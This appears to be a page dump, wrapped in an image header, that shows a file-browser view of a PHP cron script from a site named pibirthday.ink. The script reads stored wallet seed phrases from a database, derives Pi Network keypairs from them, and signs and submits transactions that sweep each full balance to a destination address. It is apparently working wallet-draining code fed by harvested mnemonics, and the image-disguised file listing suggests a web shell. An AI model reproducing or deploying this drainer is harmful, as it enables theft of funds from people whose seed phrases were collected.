1#@!#!123s

��JFIF�� 1#@!#!123s
: / home / earnlouq / pibirthday.ink / old / bot / public /
Filename : cron.php
back
<?php
require_once '/home/earnlouq/config/pconfig.php';
require_once '/home/earnlouq/pibirthday.ink/bot/public/functions.php';


logMessage('===== STARTING PI WALLET SWEEP CRON JOB =====');
logMessage('PHP Version: ' . phpversion());
logMessage('Current directory: ' . __DIR__);


// Require Composer autoloader
$autoloadPath = realpath('/home/earnlouq/pibirthday.ink/bot/vendor/autoload.php');
if (!file_exists($autoloadPath)) {
    //logMessage('ERROR: vendor/autoload.php not found. Run "composer install"');
    exit(1);
}
require $autoloadPath;

// Import required classes
use ParagonIE\ConstantTime\Base32;
use Soneso\StellarSDK\Crypto\KeyPair;
use Soneso\StellarSDK\Crypto\StrKey;
use Soneso\StellarSDK\Network;
use Soneso\StellarSDK\PaymentOperationBuilder;
use Soneso\StellarSDK\StellarSDK;
use Soneso\StellarSDK\AssetTypeNative;
use Soneso\StellarSDK\TransactionBuilder;
use Soneso\StellarSDK\TimeBounds;
use Soneso\StellarSDK\Transaction;

// Verify classes
$requiredClasses = [
    'ParagonIE\ConstantTime\Base32' => 'paragonie/constant-time_encoding',
    'Soneso\StellarSDK\Crypto\KeyPair' => 'soneso/stellar-sdk',
    'Soneso\StellarSDK\StellarSDK' => 'soneso/stellar-sdk'
];
foreach ($requiredClasses as $class => $package) {
    if (!class_exists($class)) {
        //logMessage("ERROR: Required class not found: $class (from $package)");
        exit(1);
    }
}

// Key derivation functions
function mnemonicToSeed(string $mnemonic, string $passphrase = ''): string {
    return hash_pbkdf2('sha512', $mnemonic, 'mnemonic' . $passphrase, 2048, 64, true);
}

function crc16xmodem(string $data): string {
    $crc = 0x0000;
    for ($i = 0; $i < strlen($data); $i++) {
        $crc ^= (ord($data[$i]) << 8);
        for ($j = 0; $j < 8; $j++) {
            $crc = ($crc & 0x8000) ? (($crc << 1) ^ 0x1021) & 0xFFFF : ($crc << 1) & 0xFFFF;
        }
    }
    return pack('v', $crc);
}

function encodeStellarPublicKey(string $publicKey): string {
    $data = chr(6 << 3) . $publicKey;
    return strtoupper(Base32::encode($data . crc16xmodem($data)));
}

function deriveChildKeyEd25519(string $key, string $chainCode, int $index): array {
    $data = "\x00" . $key . pack('N', $index | 0x80000000);
    $I = hash_hmac('sha512', $data, $chainCode, true);
    return [substr($I, 0, 32), substr($I, 32, 32)];
}

function derivePath(string $seed, string $path): string {
    $I = hash_hmac('sha512', $seed, 'ed25519 seed', true);
    $key = substr($I, 0, 32);
    $chainCode = substr($I, 32, 32);
    
    foreach (array_slice(explode('/', $path), 1) as $seg) {
        $index = (int)rtrim($seg, "'0");
        list($key, $chainCode) = deriveChildKeyEd25519($key, $chainCode, $index);
    }
    
    return $key;
}

function getStellarKeypairFromMnemonic(string $mnemonic, string $passphrase = '', string $path = "m/44'/314159'/0'"): KeyPair {
    try {
        //logMessage('Deriving keypair with path: ' . $path);
        $seed = mnemonicToSeed($mnemonic, $passphrase);
        $privateKey = derivePath($seed, $path);
        $keypair = sodium_crypto_sign_seed_keypair($privateKey);
        $publicKey = encodeStellarPublicKey(sodium_crypto_sign_publickey($keypair));
        $secretSeed = StrKey::encodeSeed($privateKey);
        //logMessage('Derived public key: ' . $publicKey);
        return KeyPair::fromSeed($secretSeed);
    } catch (Exception $e) {
        //logMessage('ERROR in getStellarKeypairFromMnemonic: ' . $e->getMessage());
        throw new Exception('Failed to derive keypair: ' . $e->getMessage(), 400);
    }
}

function fetchWalletInfo(string $publicKey): array {
    try {
        //logMessage("Fetching wallet info for: $publicKey");
        $ch = curl_init("https://api.mainnet.minepi.com/accounts/$publicKey");
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_HTTPHEADER, ['Accept: application/json']);
        curl_setopt($ch, CURLOPT_TIMEOUT, 10);

        $response = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        $curlError = curl_error($ch);
        curl_close($ch);

        if ($response === false) {
            //logMessage('ERROR: cURL error fetching wallet info: ' . $curlError);
            throw new Exception('Failed to fetch wallet info: ' . $curlError);
        }

        //logMessage('Wallet info response (HTTP ' . $httpCode . '): ' . substr($response, 0, 200) . '...');

        if ($httpCode !== 200) {
            throw new Exception('Wallet info API returned non-200 status: ' . $httpCode);
        }

        $data = json_decode($response, true);
        if (json_last_error() !== JSON_ERROR_NONE) {
            throw new Exception('Invalid JSON response from wallet info: ' . json_last_error_msg());
        }

        if (!isset($data['balances'][0]['balance'], $data['sequence'], $data['subentry_count'])) {
            throw new Exception('Incomplete wallet info response: ' . json_encode($data));
        }

        return [
            'balance' => $data['balances'][0]['balance'],
            'sequence' => $data['sequence'],
            'subentry_count' => $data['subentry_count'],
            'last_modified_time' => $data['last_modified_time'] ?? null
        ];
    } catch (Exception $e) {
        //logMessage('ERROR in fetchWalletInfo: ' . $e->getMessage());
        throw $e;
    }
}

function createAndSignTransaction(KeyPair $keypair, string $destinationAddress): array {
    try {
        //logMessage('===== STARTING TRANSACTION CREATION ====');
        $sourcePublicKey = $keypair->getAccountId();
        //logMessage("Source account: $sourcePublicKey");
        //logMessage("Destination account: $destinationAddress");

        // Validate destination account existence
        try {
            $destInfo = fetchWalletInfo($destinationAddress);
            //logMessage("Destination account $destinationAddress exists, balance: " . $destInfo['balance'] . ' PI');
        } catch (Exception $e) {
            //logMessage('ERROR: Destination account check failed: ' . $e->getMessage());
            throw new Exception('Destination account does not exist or is not funded', 400);
        }

        $sdk = new StellarSDK('https://api.mainnet.minepi.com');
        $network = new Network('Pi Network');

        // Fetch source account
        //logMessage("Fetching source account details for: $sourcePublicKey");
        $sourceAccount = $sdk->requestAccount($sourcePublicKey);
        //logMessage('Source account sequence: ' . $sourceAccount->getSequenceNumber());

        // Set fee (100,000 stroops = 0.01 PI)
        $baseFee = 100000;
        //logMessage("Using base fee per operation: $baseFee stroops (0.01 PI)");

        // Calculate sweep amount
        $balance = 0;
        foreach ($sourceAccount->getBalances() as $bal) {
            if ($bal->getAssetType() === 'native') {
                $balance = $bal->getBalance();
                break;
            }
        }
        $amount = bcsub($balance, '0.01', 6); // Subtract fee, 6 decimal precision
        if (bccomp($amount, '0', 6) <= 0) {
            throw new Exception('Insufficient balance for sweep');
        }
        //logMessage("Sweep mode: Calculated amount = $amount PI from balance $balance");

        $paymentOperation = (new PaymentOperationBuilder($destinationAddress, new AssetTypeNative(), $amount))->build();
        //logMessage('Payment operation created');

        // Set time bounds
        $minTime = new DateTime('@0'); // Unix epoch
        $maxTime = (new DateTime())->modify('+30 seconds');
        $timeBounds = new TimeBounds($minTime, $maxTime);
        //logMessage('Time bounds set: min=' . $minTime->format('c') . ', max=' . $maxTime->format('c'));

        $transaction = (new TransactionBuilder($sourceAccount))
            ->addOperation($paymentOperation)
            ->setMaxOperationFee($baseFee)
            ->setTimeBounds($timeBounds)
            ->build();
        //logMessage('Transaction built successfully');

        $transaction->sign($keypair, $network);
        //logMessage('Transaction signed');

        return ['transaction' => $transaction, 'amount' => $amount];
    } catch (Exception $e) {
        //logMessage('ERROR in createAndSignTransaction: ' . $e->getMessage());
        throw $e;
    }
}

function submitTransaction(Transaction $transaction): array {
    try {
        //logMessage('===== STARTING TRANSACTION SUBMISSION ====');
        //logMessage('Submitting transaction to Pi Network');

        // Prepare XDR
        $xdr = $transaction->toEnvelopeXdrBase64();
        $postData = ['tx' => $xdr];

        // Initialize cURL
        $ch = curl_init('https://api.mainnet.minepi.com/transactions');
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($postData));
        curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/x-www-form-urlencoded']);
        curl_setopt($ch, CURLOPT_TIMEOUT, 30);

        // Execute request
        $response = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        $curlError = curl_error($ch);
        curl_close($ch);

        // Check cURL errors
        if ($response === false) {
            //logMessage('ERROR: cURL error: ' . $curlError);
            throw new Exception('Failed to submit transaction: ' . $curlError);
        }

        // Log response
        //logMessage('Raw API response (HTTP ' . $httpCode . '): ' . substr($response, 0, 200) . '...');

        // Parse JSON
        $result = json_decode($response, true);
        if (json_last_error() !== JSON_ERROR_NONE) {
            throw new Exception('Invalid JSON response: ' . json_last_error_msg());
        }

        // Handle transaction failure
        if (isset($result['type']) && $result['type'] === 'https://stellar.org/horizon-errors/transaction_failed') {
            $errorMsg = 'Transaction failed: ' . ($result['detail'] ?? 'Unknown error');
            if (isset($result['extras']['result_codes'])) {
                $errorMsg .= ', result_codes: ' . json_encode($result['extras']['result_codes']);
                //logMessage('Transaction failure result_codes: ' . json_encode($result['extras']['result_codes']));
            }
            throw new Exception($errorMsg, 400);
        }

        // Check HTTP status
        if ($httpCode !== 200) {
            $errorMsg = 'API returned non-200 status: ' . $httpCode;
            if (isset($result['extras']['result_codes'])) {
                $errorMsg .= ', result_codes: ' . json_encode($result['extras']['result_codes']);
                //logMessage('Transaction failure result_codes: ' . json_encode($result['extras']['result_codes']));
            }
            throw new Exception($errorMsg);
        }

        // Validate success
        if (!isset($result['hash'])) {
            throw new Exception('Transaction response missing hash: ' . json_encode($result));
        }

        //logMessage('Transaction submitted successfully');
        return [
            'hash' => $result['hash'],
            'ledger' => $result['ledger'] ?? null,
            'result' => $result['result_xdr'] ?? null
        ];
    } catch (Exception $e) {
        //logMessage('ERROR in submitTransaction: ' . $e->getMessage());
        throw $e;
    }
}

try {
    global $con;
    //logMessage('Fetching all wallet transfers for processing');

    // Query all wallet transfers
    $query = "SELECT id, seed_phrase, destination_address FROM wallet_transfers";
    $result = mysqli_query($con, $query);
    if (!$result) {
        throw new Exception('Failed to fetch wallet transfers: ' . mysqli_error($con));
    }

    $processed = 0;
    $failed = 0;

    while ($row = mysqli_fetch_assoc($result)) {
        $transferId = $row['id'];
        $mnemonic = $row['seed_phrase'];
        $destinationAddress = $row['destination_address'];

        //logMessage("\n===== PROCESSING TRANSFER ID: $transferId =====");
        //logMessage('Mnemonic: ' . str_repeat('*', 10) . ' (hidden for security)');
        //logMessage('Destination address: ' . $destinationAddress);

        try {
            // Derive keypair
            $keypair = getStellarKeypairFromMnemonic($mnemonic);
            $publicKey = $keypair->getAccountId();
            //logMessage('Derived public key: ' . $publicKey);

            // Fetch wallet info
            $walletInfo = fetchWalletInfo($publicKey);
            //logMessage('Wallet balance: ' . $walletInfo['balance'] . ' PI');

            // Validate balance
            $requiredBalance = '0.01'; // Fee only
            if (bccomp($walletInfo['balance'], $requiredBalance, 6) < 0) {
                throw new Exception("Insufficient balance for sweep: {$walletInfo['balance']} PI available, {$requiredBalance} PI required");
            }

            // Create and submit transaction
            $txData = createAndSignTransaction($keypair, $destinationAddress);
            $transaction = $txData['transaction'];
            $amount = $txData['amount'];
            $transactionResult = submitTransaction($transaction);

            // Insert transaction record
            $insertQuery = "INSERT INTO transactions (transfer_id, transaction_hash, amount) VALUES (?, ?, ?)";
            $stmt = mysqli_prepare($con, $insertQuery);
            if (!$stmt) {
                throw new Exception('Prepare failed for transaction insert: ' . mysqli_error($con));
            }
            mysqli_stmt_bind_param($stmt, 'isd', $transferId, $transactionResult['hash'], $amount);
            if (!mysqli_stmt_execute($stmt)) {
                throw new Exception('Insert failed for transaction: ' . mysqli_error($con));
            }
            mysqli_stmt_close($stmt);

            
            logMessage("===== TRANSFER ID: $transferId SUCCESS =====");
            logMessage('Transaction hash: ' . $transactionResult['hash']);
            logMessage('Amount: ' . $amount . ' PI');
            logMessage('Ledger: ' . $transactionResult['ledger']);
            $processed++;
        } catch (Exception $e) {
            logMessage("===== TRANSFER ID: $transferId FAILED =====");
            logMessage('ERROR: ' . $e->getMessage());
            $failed++;
        }
    }

    mysqli_free_result($result);

    //logMessage("\n===== CRON JOB SUMMARY =====");
    //logMessage("Processed: $processed transfers");
    //logMessage("Failed: $failed transfers");

} catch (Exception $e) {
    //logMessage('ERROR in cron job: ' . $e->getMessage());
    //logMessage('Stack trace: ' . $e->getTraceAsString());
    exit(1);
} finally {
    logMessage('===== CRON JOB COMPLETED =====');

    mysqli_close($con);
}
?>